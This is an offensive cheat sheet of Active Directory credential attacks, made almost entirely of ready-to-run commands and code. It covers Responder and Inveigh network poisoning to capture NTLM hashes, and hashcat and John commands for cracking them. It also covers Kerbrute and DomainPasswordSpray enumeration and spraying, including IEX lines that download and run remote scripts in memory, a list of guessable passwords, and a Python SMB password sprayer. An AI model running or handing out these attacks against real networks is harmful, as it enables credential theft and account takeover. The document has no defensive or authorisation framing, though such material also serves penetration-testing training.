Credential Attacks

# Start Responder on interface
sudo responder -I eth0 -dwPv

# Flags explained:
# -d: Enable answers for DHCP broadcast requests (DHCP poisoning)
# -w: Enable WPAD rogue proxy
# -P: Force NTLM/Basic auth on wpad.dat file retrieval
# -v: Verbose output

# Responder with WPAD proxy (aggressive)
sudo responder -I eth0 -wFPv

# Analyze mode (passive - no poisoning)
sudo responder -I eth0 -A

# Check captured hashes
ls /usr/share/responder/logs/
cat /usr/share/responder/logs/*.txt

# Download and import Inveigh
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1')

# Or import from disk
Import-Module .\Inveigh.ps1

# Start Inveigh with all options
Invoke-Inveigh -ConsoleOutput Y -LLMNR Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y

# Minimal footprint (LLMNR/NBNS only)
Invoke-Inveigh -ConsoleOutput Y -LLMNR Y -NBNS Y

# Check captured hashes
Get-Inveigh -NTLMv2
Get-Inveigh -Cleartext
Get-Inveigh -NTLMv2Unique  # Unique hashes only

# Stop Inveigh
Stop-Inveigh

# Export captured hashes to file
Get-Inveigh -NTLMv2 | Out-File hashes.txt

# Hashcat - NTLMv2 (basic)
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt

# With rules (more effective)
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Multiple rule files
hashcat -m 5600 hashes.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule -r /usr/share/hashcat/rules/toggles1.rule

# Show cracked passwords
hashcat -m 5600 hashes.txt --show

# John the Ripper
john --format=netntlmv2 hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
john --format=netntlmv2 hashes.txt --show  # Show cracked

# Combine with custom wordlist
# Generate company-specific wordlist
echo -e 'Company2024!\nCompany123\nWelcome2Company' > company_words.txt
hashcat -m 5600 hashes.txt company_words.txt -r /usr/share/hashcat/rules/best64.rule

# Download Kerbrute
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64
chmod +x kerbrute_linux_amd64
mv kerbrute_linux_amd64 /usr/local/bin/kerbrute

# Username enumeration (no lockout risk!)
kerbrute userenum -d corp.local --dc 192.168.1.100 users.txt

# Password spray via Kerberos
kerbrute passwordspray -d corp.local --dc 192.168.1.100 users.txt 'Summer2024!'

# With delay between attempts (safer)
kerbrute passwordspray -d corp.local --dc 192.168.1.100 users.txt 'Summer2024!' --delay 100

# Brute force single user (use with caution!)
kerbrute bruteuser -d corp.local --dc 192.168.1.100 passwords.txt administrator

# Save output
kerbrute passwordspray -d corp.local --dc 192.168.1.100 users.txt 'Summer2024!' -o results.txt

# Download from PowerSploit
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/master/DomainPasswordSpray.ps1')

# Or use the built-in version
Import-Module .\Spray-Passwords.ps1

# Spray single password against all domain users
Invoke-DomainPasswordSpray -Password 'Summer2024!'

# Against specific user list
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 'Summer2024!'

# With delay between attempts (milliseconds)
Invoke-DomainPasswordSpray -Password 'Summer2024!' -Delay 1000

# Using password list file
Invoke-DomainPasswordSpray -PasswordList .\passwords.txt

# Output to file
Invoke-DomainPasswordSpray -Password 'Summer2024!' -OutFile spray_results.txt

# Seasonal passwords
Summer2024!
Winter2024!
Spring2024!
Fall2024!

# Company-based
[CompanyName]2024!
[CompanyName]123
Welcome2[CompanyName]

# Common patterns
Password1!
P@ssw0rd!
Changeme1!
Qwerty123!
Admin123!

#!/usr/bin/env python3
"""Simple SMB Password Sprayer"""
from impacket.smbconnection import SMBConnection
import sys
import time

def spray(target, domain, users_file, password, delay=0):
    with open(users_file) as f:
        users = [line.strip() for line in f]
    
    print(f"[*] Spraying {password} against {len(users)} users")
    
    for user in users:
        try:
            conn = SMBConnection(target, target, timeout=3)
            conn.login(user, password, domain)
            print(f"[+] SUCCESS: {domain}\\{user}:{password}")
            conn.close()
        except Exception as e:
            if "STATUS_LOGON_FAILURE" in str(e):
                print(f"[-] Failed: {user}")
            elif "STATUS_ACCOUNT_LOCKED" in str(e):
                print(f"[!] LOCKED: {user}")
        time.sleep(delay)

if __name__ == "__main__":
    spray(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])